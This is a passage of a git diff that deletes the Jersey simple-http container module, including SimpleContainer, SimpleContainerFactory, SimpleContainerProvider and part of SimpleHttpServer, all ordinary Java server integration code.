-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-        </plugins>
-
-        <resources>
-            <resource>
-                <directory>${basedir}/src/main/resources</directory>
-                <filtering>true</filtering>
-            </resource>
-        </resources>
-    </build>
-
-</project>
\ No newline at end of file
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
deleted file mode 100644
index 6298cf3..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
+++ /dev/null
@@ -1,479 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.Type;
-import java.net.URI;
-import java.net.URISyntaxException;
-import java.security.Principal;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.ScheduledExecutorService;
-import java.util.concurrent.ScheduledFuture;
-import java.util.concurrent.ScheduledThreadPoolExecutor;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.SecurityContext;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-
-import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-import org.glassfish.jersey.internal.util.collection.Ref;
-import org.glassfish.jersey.process.internal.RequestScoped;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ContainerException;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ContainerResponse;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.internal.ContainerUtils;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter.TimeoutHandler;
-
-import org.simpleframework.common.thread.DaemonFactory;
-import org.simpleframework.http.Address;
-import org.simpleframework.http.Request;
-import org.simpleframework.http.Response;
-import org.simpleframework.http.Status;
-
-/**
- * Jersey {@code Container} implementation based on Simple framework
- * {@link org.simpleframework.http.core.Container}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class SimpleContainer implements org.simpleframework.http.core.Container, Container {
-
-    private static final ExtendedLogger logger =
-            new ExtendedLogger(Logger.getLogger(SimpleContainer.class.getName()), Level.FINEST);
-
-    private final Type RequestTYPE = (new GenericType<Ref<Request>>() { }).getType();
-    private final Type ResponseTYPE = (new GenericType<Ref<Response>>() { }).getType();
-
-    /**
-     * Referencing factory for Simple request.
-     */
-    private static class SimpleRequestReferencingFactory extends ReferencingFactory<Request> {
-
-        @Inject
-        public SimpleRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * Referencing factory for Simple response.
-     */
-    private static class SimpleResponseReferencingFactory extends ReferencingFactory<Response> {
-
-        @Inject
-        public SimpleResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * An internal binder to enable Simple HTTP container specific types injection. This binder allows
-     * to inject underlying Grizzly HTTP request and response instances.
-     */
-    private static class SimpleBinder extends AbstractBinder {
-
-        @Override
-        protected void configure() {
-            bindFactory(SimpleRequestReferencingFactory.class).to(Request.class).proxy(true)
-                                                              .proxyForSameScope(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Request>referenceFactory())
-                    .to(new GenericType<Ref<Request>>() {
-                    }).in(RequestScoped.class);
-
-            bindFactory(SimpleResponseReferencingFactory.class).to(Response.class).proxy(true)
-                                                               .proxyForSameScope(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Response>referenceFactory())
-                    .to(new GenericType<Ref<Response>>() {
-                    }).in(RequestScoped.class);
-        }
-    }
-
-    private volatile ScheduledExecutorService scheduler;
-    private volatile ApplicationHandler appHandler;
-
-    private static final class ResponseWriter implements ContainerResponseWriter {
-
-        private final AtomicReference<TimeoutTimer> reference;
-        private final ScheduledExecutorService scheduler;
-        private final Response response;
-
-        ResponseWriter(final Response response, final ScheduledExecutorService scheduler) {
-            this.reference = new AtomicReference<TimeoutTimer>();
-            this.response = response;
-            this.scheduler = scheduler;
-        }
-
-        @Override
-        public OutputStream writeResponseStatusAndHeaders(final long contentLength,
-                                                          final ContainerResponse context) throws ContainerException {
-            final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
-
-            final int code = statusInfo.getStatusCode();
-            final String reason = statusInfo.getReasonPhrase() == null
-                    ? Status.getDescription(code)
-                    : statusInfo.getReasonPhrase();
-            response.setCode(code);
-            response.setDescription(reason);
-
-            if (contentLength != -1) {
-                response.setContentLength(contentLength);
-            }
-            for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
-                for (final String value : e.getValue()) {
-                    response.addValue(e.getKey(), value);
-                }
-            }
-
-            try {
-                return response.getOutputStream();
-            } catch (final IOException ioe) {
-                throw new ContainerException("Error during writing out the response headers.", ioe);
-            }
-        }
-
-        @Override
-        public boolean suspend(final long timeOut, final TimeUnit timeUnit,
-                               final TimeoutHandler timeoutHandler) {
-            try {
-                TimeoutTimer timer = reference.get();
-
-                if (timer == null) {
-                    TimeoutDispatcher task = new TimeoutDispatcher(this, timeoutHandler);
-                    ScheduledFuture<?> future =
-                            scheduler.schedule(task, timeOut == 0 ? Integer.MAX_VALUE : timeOut,
-                                    timeOut == 0 ? TimeUnit.SECONDS : timeUnit);
-                    timer = new TimeoutTimer(scheduler, future, task);
-                    reference.set(timer);
-                    return true;
-                }
-                return false;
-            } catch (final IllegalStateException ex) {
-                return false;
-            } finally {
-                logger.debugLog("suspend(...) called");
-            }
-        }
-
-        @Override
-        public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit)
-                throws IllegalStateException {
-            try {
-                TimeoutTimer timer = reference.get();
-
-                if (timer == null) {
-                    throw new IllegalStateException("Response has not been suspended");
-                }
-                timer.reschedule(timeOut, timeUnit);
-            } finally {
-                logger.debugLog("setTimeout(...) called");
-            }
-        }
-
-        @Override
-        public void commit() {
-            try {
-                response.close();
-            } catch (final IOException e) {
-                logger.log(Level.SEVERE, "Unable to send 500 error response.", e);
-            } finally {
-                logger.debugLog("commit() called");
-            }
-        }
-
-        public boolean isSuspended() {
-            return reference.get() != null;
-        }
-
-        @Override
-        public void failure(final Throwable error) {
-            try {
-                if (!response.isCommitted()) {
-                    response.setCode(jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode());
-                    response.setDescription(error.getMessage());
-                }
-            } finally {
-                logger.debugLog("failure(...) called");
-                commit();
-                rethrow(error);
-            }
-
-        }
-
-        @Override
-        public boolean enableResponseBuffering() {
-            return false;
-        }
-
-        /**
-         * Rethrow the original exception as required by JAX-RS, 3.3.4
-         *
-         * @param error throwable to be re-thrown
-         */
-        private void rethrow(final Throwable error) {
-            if (error instanceof RuntimeException) {
-                throw (RuntimeException) error;
-            } else {
-                throw new ContainerException(error);
-            }
-        }
-
-    }
-
-    private static final class TimeoutTimer {
-
-        private final AtomicReference<ScheduledFuture<?>> reference;
-        private final ScheduledExecutorService service;
-        private final TimeoutDispatcher task;
-
-        public TimeoutTimer(ScheduledExecutorService service, ScheduledFuture<?> future,
-                            TimeoutDispatcher task) {
-            this.reference = new AtomicReference<ScheduledFuture<?>>();
-            this.service = service;
-            this.task = task;
-        }
-
-        public void reschedule(long timeOut, TimeUnit timeUnit) {
-            ScheduledFuture<?> future = reference.getAndSet(null);
-
-            if (future != null) {
-                if (future.cancel(false)) {
-                    future = service.schedule(task, timeOut == 0 ? Integer.MAX_VALUE : timeOut,
-                            timeOut == 0 ? TimeUnit.SECONDS : timeUnit);
-                    reference.set(future);
-                }
-            } else {
-                future = service.schedule(task, timeOut == 0 ? Integer.MAX_VALUE : timeOut,
-                        timeOut == 0 ? TimeUnit.SECONDS : timeUnit);
-                reference.set(future);
-            }
-        }
-    }
-
-    private static final class TimeoutDispatcher implements Runnable {
-
-        private final ResponseWriter writer;
-        private final TimeoutHandler handler;
-
-        public TimeoutDispatcher(ResponseWriter writer, TimeoutHandler handler) {
-            this.writer = writer;
-            this.handler = handler;
-        }
-
-        public void run() {
-            try {
-                handler.onTimeout(writer);
-            } catch (Exception e) {
-                logger.log(Level.INFO, "Failed to call timeout handler", e);
-            }
-        }
-    }
-
-    @Override
-    public void handle(final Request request, final Response response) {
-        final ResponseWriter responseWriter = new ResponseWriter(response, scheduler);
-        final URI baseUri = getBaseUri(request);
-        final URI requestUri = getRequestUri(request, baseUri);
-
-        try {
-            final ContainerRequest requestContext = new ContainerRequest(baseUri, requestUri,
-                    request.getMethod(), getSecurityContext(request), new MapPropertiesDelegate(), appHandler.getConfiguration());
-            requestContext.setEntityStream(request.getInputStream());
-            for (final String headerName : request.getNames()) {
-                requestContext.headers(headerName, request.getValue(headerName));
-            }
-            requestContext.setWriter(responseWriter);
-            requestContext.setRequestScopedInitializer(injectionManager -> {
-                injectionManager.<Ref<Request>>getInstance(RequestTYPE).set(request);
-                injectionManager.<Ref<Response>>getInstance(ResponseTYPE).set(response);
-            });
-
-            appHandler.handle(requestContext);
-        } catch (final Exception ex) {
-            throw new RuntimeException(ex);
-        } finally {
-            if (!responseWriter.isSuspended()) {
-                close(response);
-            }
-        }
-    }
-
-    private URI getRequestUri(final Request request, final URI baseUri) {
-        try {
-            final String serverAddress = getServerAddress(baseUri);
-            String uri = ContainerUtils.getHandlerPath(request.getTarget());
-
-            final String queryString = request.getQuery().toString();
-            if (queryString != null) {
-                uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
-            }
-
-            return new URI(serverAddress + uri);
-        } catch (URISyntaxException ex) {
-            throw new IllegalArgumentException(ex);
-        }
-    }
-
-    private String getServerAddress(final URI baseUri) throws URISyntaxException {
-        return new URI(baseUri.getScheme(), null, baseUri.getHost(), baseUri.getPort(), null, null,
-                null).toString();
-    }
-
-    private URI getBaseUri(final Request request) {
-        try {
-            final String hostHeader = request.getValue("Host");
-
-            if (hostHeader != null) {
-                final String scheme = request.isSecure() ? "https" : "http";
-                return new URI(scheme + "://" + hostHeader + "/");
-            } else {
-                final Address address = request.getAddress();
-                return new URI(address.getScheme(), null, address.getDomain(), address.getPort(), "/", null,
-                        null);
-            }
-        } catch (final URISyntaxException ex) {
-            throw new IllegalArgumentException(ex);
-        }
-    }
-
-    private SecurityContext getSecurityContext(final Request request) {
-        return new SecurityContext() {
-
-            @Override
-            public boolean isUserInRole(final String role) {
-                return false;
-            }
-
-            @Override
-            public boolean isSecure() {
-                return request.isSecure();
-            }
-
-            @Override
-            public Principal getUserPrincipal() {
-                return null;
-            }
-
-            @Override
-            public String getAuthenticationScheme() {
-                return null;
-            }
-        };
-    }
-
-    private void close(final Response response) {
-        try {
-            response.close();
-        } catch (final Exception ex) {
-            throw new RuntimeException(ex);
-        }
-    }
-
-    @Override
-    public ResourceConfig getConfiguration() {
-        return appHandler.getConfiguration();
-    }
-
-    @Override
-    public void reload() {
-        reload(new ResourceConfig(getConfiguration()));
-    }
-
-    @Override
-    public void reload(final ResourceConfig configuration) {
-        appHandler.onShutdown(this);
-
-        appHandler = new ApplicationHandler(configuration.register(new SimpleBinder()));
-        scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-        appHandler.onReload(this);
-        appHandler.onStartup(this);
-    }
-
-    @Override
-    public ApplicationHandler getApplicationHandler() {
-        return appHandler;
-    }
-
-    /**
-     * Inform this container that the server has been started.
-     * <p/>
-     * This method must be implicitly called after the server containing this container is started.
-     */
-    void onServerStart() {
-        appHandler.onStartup(this);
-    }
-
-    /**
-     * Inform this container that the server is being stopped.
-     * <p/>
-     * This method must be implicitly called before the server containing this container is stopped.
-     */
-    void onServerStop() {
-        appHandler.onShutdown(this);
-        scheduler.shutdown();
-    }
-
-    /**
-     * Create a new Simple framework HTTP container.
-     *
-     * @param application   JAX-RS / Jersey application to be deployed on Simple framework HTTP container.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     */
-    SimpleContainer(final Application application, final Object parentContext) {
-        this.appHandler = new ApplicationHandler(application, new SimpleBinder(), parentContext);
-        this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-    }
-
-    /**
-     * Create a new Simple framework HTTP container.
-     *
-     * @param application JAX-RS / Jersey application to be deployed on Simple framework HTTP
-     *                    container.
-     */
-    SimpleContainer(final Application application) {
-        this.appHandler = new ApplicationHandler(application, new SimpleBinder());
-        this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-    }
-
-    /**
-     * Create a new Simple framework HTTP container.
-     *
-     * @param applicationClass JAX-RS / Jersey application class to be deployed on Simple framework HTTP
-     *                    container.
-     */
-    SimpleContainer(final Class<? extends Application> applicationClass) {
-        this.appHandler = new ApplicationHandler(applicationClass, new SimpleBinder());
-        this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
deleted file mode 100644
index 519fe7d..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
+++ /dev/null
@@ -1,334 +0,0 @@
-/*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.Closeable;
-import java.io.IOException;
-import java.net.InetSocketAddress;
-import java.net.URI;
-
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLEngine;
-import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
-import jakarta.ws.rs.ProcessingException;
-
-import org.glassfish.jersey.internal.util.collection.UnsafeValue;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.simple.internal.LocalizationMessages;
-import org.simpleframework.http.core.Container;
-import org.simpleframework.http.core.ContainerSocketProcessor;
-import org.simpleframework.transport.Socket;
-import org.simpleframework.transport.SocketProcessor;
-import org.simpleframework.transport.connect.Connection;
-import org.simpleframework.transport.connect.SocketConnection;
-
-/**
- * Factory for creating and starting Simple server containers. This returns a handle to the started
- * server as {@link Closeable} instances, which allows the server to be stopped by invoking the
- * {@link Closeable#close} method.
- * <p/>
- * To start the server in HTTPS mode an {@link SSLContext} can be provided. This will be used to
- * decrypt and encrypt information sent over the connected TCP socket channel.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- * @author Paul Sandoz
- */
-public final class SimpleContainerFactory {
-
-    private SimpleContainerFactory() {
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to "http". The
-     *                URI user information and host are ignored If the URI port is not present then port 80
-     *                will be used. The URI path, query and fragment components are ignored.
-     * @param config  the resource configuration.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final ResourceConfig config) {
-        return create(address, null, new SimpleContainer(config));
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to "http". The
-     *                URI user information and host are ignored If the URI port is not present then port 80
-     *                will be used. The URI path, query and fragment components are ignored.
-     * @param config  the resource configuration.
-     * @param count   this is the number of threads to be used.
-     * @param select  this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final ResourceConfig config, final int count,
-                                      final int select) {
-        return create(address, null, new SimpleContainer(config), count, select);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                . The URI user information and host are ignored. If the URI port is not present then
-     *                port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                The URI path, query and fragment components are ignored.
-     * @param context this is the SSL context used for SSL connections.
-     * @param config  the resource configuration.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final ResourceConfig config) {
-        return create(address, context, new SimpleContainer(config));
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                . The URI user information and host are ignored. If the URI port is not present then
-     *                port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                The URI path, query and fragment components are ignored.
-     * @param context this is the SSL context used for SSL connections.
-     * @param config  the resource configuration.
-     * @param count   this is the number of threads to be used.
-     * @param select  this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final ResourceConfig config, final int count, final int select) {
-        return create(address, context, new SimpleContainer(config), count, select);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes found by searching the classes referenced in the java classpath.
-     *
-     * @param address   the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                  . The URI user information and host are ignored. If the URI port is not present then
-     *                  port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                  The URI path, query and fragment components are ignored.
-     * @param context   this is the SSL context used for SSL connections.
-     * @param container the container that handles all HTTP requests.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final SimpleContainer container) {
-        return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
-            @Override
-            public SocketProcessor get() throws IOException {
-                return new ContainerSocketProcessor(container);
-            }
-        }, true);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes found by searching the classes referenced in the java classpath.
-     *
-     * @param address   the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                  . The URI user information and host are ignored. If the URI port is not present then
-     *                  port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                  The URI path, query and fragment components are ignored.
-     * @param context   this is the SSL context used for SSL connections.
-     * @param container the Simple container with ResourceConfig.
-     * @param sslClientAuthentication Secure socket client authentication policy.
-     * @param start whether the server shall listen to connections immediately
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-            final SSLClientAuthentication sslClientAuthentication, final SimpleContainer container, final boolean start) {
-        return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
-            @Override
-            public SocketProcessor get() throws IOException {
-                return new ContainerSocketProcessor(container) {
-                    @Override
-                    public final void process(final Socket socket) throws IOException {
-                        final SSLEngine sslEngine = socket.getEngine();
-                        if (sslEngine != null) {
-                            switch (sslClientAuthentication) {
-                            case MANDATORY: {
-                                sslEngine.setNeedClientAuth(true);
-                                break;
-                            }
-                            case OPTIONAL: {
-                                sslEngine.setWantClientAuth(true);
-                                break;
-                            }
-                            default: {
-                                sslEngine.setNeedClientAuth(false);
-                                break;
-                            }
-                            }
-                        }
-                        super.process(socket);
-                    }
-                };
-            }
-        }, start);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address       the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                      . The URI user information and host are ignored. If the URI port is not present then
-     *                      port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                      The URI path, query and fragment components are ignored.
-     * @param context       this is the SSL context used for SSL connections.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param count         this is the number of threads to be used.
-     * @param select        this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     * @since 2.12
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final ResourceConfig config, final Object parentContext, final int count,
-                                      final int select) {
-        return create(address, context, new SimpleContainer(config, parentContext), count, select);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes found by searching the classes referenced in the java classpath.
-     *
-     * @param address   the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                  . The URI user information and host are ignored. If the URI port is not present then
-     *                  port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                  The URI path, query and fragment components are ignored.
-     * @param context   this is the SSL context used for SSL connections.
-     * @param container the container that handles all HTTP requests.
-     * @param count     this is the number of threads to be used.
-     * @param select    this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final SimpleContainer container, final int count, final int select)
-            throws ProcessingException {
-
-        return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
-            @Override
-            public SocketProcessor get() throws IOException {
-                return new ContainerSocketProcessor(container, count, select);
-            }
-        }, true);
-    }
-
-    private static SimpleServer _create(final URI address, final SSLContext context,
-                                        final SimpleContainer container,
-                                        final UnsafeValue<SocketProcessor, IOException> serverProvider,
-                                        final boolean start)
-            throws ProcessingException {
-        if (address == null) {
-            throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
-        }
-        final String scheme = address.getScheme();
-        int defaultPort = org.glassfish.jersey.server.spi.Container.DEFAULT_HTTP_PORT;
-
-        if (context == null) {
-            if (!scheme.equalsIgnoreCase("http")) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
-            }
-        } else {
-            if (!scheme.equalsIgnoreCase("https")) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
-            }
-            defaultPort = org.glassfish.jersey.server.spi.Container.DEFAULT_HTTPS_PORT;
-        }
-        int port = address.getPort();
-
-        if (port == -1) {
-            port = defaultPort;
-        }
-        final InetSocketAddress listen = new InetSocketAddress(port);
-        final Connection connection;
-        try {
-            final SimpleTraceAnalyzer analyzer = new SimpleTraceAnalyzer();
-            final SocketProcessor server = serverProvider.get();
-            connection = new SocketConnection(server, analyzer);
-
-            final SimpleServer simpleServer = new SimpleServer() {
-                private InetSocketAddress socketAddr = listen;
-
-                @Override
-                public final void start() throws IOException {
-                    this.socketAddr = (InetSocketAddress) connection.connect(listen, context);
-                    container.onServerStart();
-                }
-
-                @Override
-                public void close() throws IOException {
-                    container.onServerStop();
-                    analyzer.stop();
-                    connection.close();
-                    this.socketAddr = listen;
-                }
-
-                @Override
-                public int getPort() {
-                    return this.socketAddr.getPort();
-                }
-
-                @Override
-                public boolean isDebug() {
-                    return analyzer.isActive();
-                }
-
-                @Override
-                public void setDebug(boolean enable) {
-                    if (enable) {
-                        analyzer.start();
-                    } else {
-                        analyzer.stop();
-                    }
-                }
-            };
-
-            if (start) {
-                simpleServer.start();
-            }
-
-            return simpleServer;
-        } catch (final IOException ex) {
-            throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), ex);
-        }
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerProvider.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerProvider.java
deleted file mode 100644
index e637041..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerProvider.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.spi.ContainerProvider;
-
-import org.simpleframework.http.core.Container;
-
-/**
- * Container provider for containers based on Simple HTTP Server
- * {@link org.simpleframework.http.core.Container}.
- *
- * @author Marc Hadley
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class SimpleContainerProvider implements ContainerProvider {
-
-    @Override
-    public <T> T createContainer(Class<T> type, Application application) throws ProcessingException {
-        if (Container.class == type || SimpleContainer.class == type) {
-            return type.cast(new SimpleContainer(application));
-        }
-        return null;
-    }
-
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
deleted file mode 100644
index 1b9ac18..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CompletionException;
-
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-
-/**
- * Jersey {@code Server} implementation based on Simple framework
- * {@link SimpleServer}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-final class SimpleHttpServer implements WebServer {
-
-    private final SimpleContainer container;
-
-    private final SimpleServer simpleServer;
-
-    SimpleHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
-        this(new SimpleContainer(application), configuration);
-    }
-
-    SimpleHttpServer(final Class<?extends Application> applicationClass,
-                     final JerseySeBootstrapConfiguration configuration) {
-        this(new SimpleContainer(applicationClass), configuration);
-    }
-
-    SimpleHttpServer(final SimpleContainer container, final JerseySeBootstrapConfiguration configuration) {
-        this.container = container;
-        this.simpleServer = SimpleContainerFactory.create(
-                configuration.uri(true),
-                configuration.sslContext(),
-                configuration.sslClientAuthentication(),
-                this.container,
-                configuration.autoStart());
-    }
-
-    @Override
-    public final SimpleContainer container() {
-        return this.container;
-    }
-
-    @Override
-    public final int port() {
-        return this.simpleServer.getPort();
-    }
-
-    @Override
-    public final CompletableFuture<Void> start() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.simpleServer.start();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
